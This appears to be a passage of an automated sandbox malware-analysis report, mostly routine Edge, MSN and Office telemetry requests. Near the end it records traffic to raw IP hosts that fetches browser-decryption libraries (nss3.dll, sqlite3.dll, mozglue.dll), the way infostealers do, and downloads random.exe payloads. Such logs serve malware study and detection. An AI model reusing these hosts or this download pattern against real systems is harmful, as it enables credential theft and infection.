Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733354386&P2=404&P3=2&P4=BtBdn8uaJpXxnjpjNV1hZuyrH9wEgLtKeM8v0TFvq4EK9YcnmyF7PlE0YIM%2bWPBvIWpUlga%2bnQro%2f7Y3Wadb5w%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: 2YWW10yeedvZRWwRDQ5yQ2Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732749586781&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29AE41A233D86250177B54E632BA6317&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732749586780&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=813126f5459c469fbc2c891c9735c300&activityId=813126f5459c469fbc2c891c9735c300&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=29AE41A233D86250177B54E632BA6317; _EDGE_S=F=1&SID=26B70EA22B9467E6088B1BE62AB66666; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=29AE41A233D86250177B54E632BA6317&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=dc27158018c6443ab264836e1b5852c0 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=29AE41A233D86250177B54E632BA6317; _EDGE_S=F=1&SID=26B70EA22B9467E6088B1BE62AB66666; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /aes/c.gif?RG=4a1af578f39f4a6683df5afb2db2e50c&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20241127T231943Z&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: www.bing.comConnection: Keep-AliveCookie: MUID=150BA1CB6AB168093499B48F6BD36981
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732749586781&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29AE41A233D86250177B54E632BA6317&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=10349fc1f4335dafac1bab41732749589; XID=10349fc1f4335dafac1bab41732749589
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=29AE41A233D86250177B54E632BA6317&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=7565e27783d548a2ed0034c34fc339fe HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=29AE41A233D86250177B54E632BA6317; _EDGE_S=F=1&SID=26B70EA22B9467E6088B1BE62AB66666; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8_0vLehrqSEROoVPvvnJxazVUCUwm4cgj27TTdNqy3SLNFvxgUuUx7qqpB-mDi4VawEzddi-23963YluPeV9pfBSfH6CRbLgqohmOSYyAf28TBdmhEoufXQes7eNmO4Au5u-IHbmG5_Np2gkipdYR88JN1lVA4Q8CBJ9FZfEtbgQHYqEj%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3D9c6ed1435f7d1ac716c3b604f788265e&TIME=20241127T231943Z&CID=531538185&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=150BA1CB6AB168093499B48F6BD36981; _EDGE_S=SID=1C11F4A9BA686DBB1147E1EDBB616C60; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1P.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSj.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732749586780&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=813126f5459c469fbc2c891c9735c300&activityId=813126f5459c469fbc2c891c9735c300&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=158F1CDE0AE442BB82701695903E2247&MUID=29AE41A233D86250177B54E632BA6317 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=29AE41A233D86250177B54E632BA6317; _EDGE_S=F=1&SID=26B70EA22B9467E6088B1BE62AB66666; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DfvcFhpLtZakfL9&MD=ULFANm9N HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11

Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log9.14.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log9.14.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log9.14.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

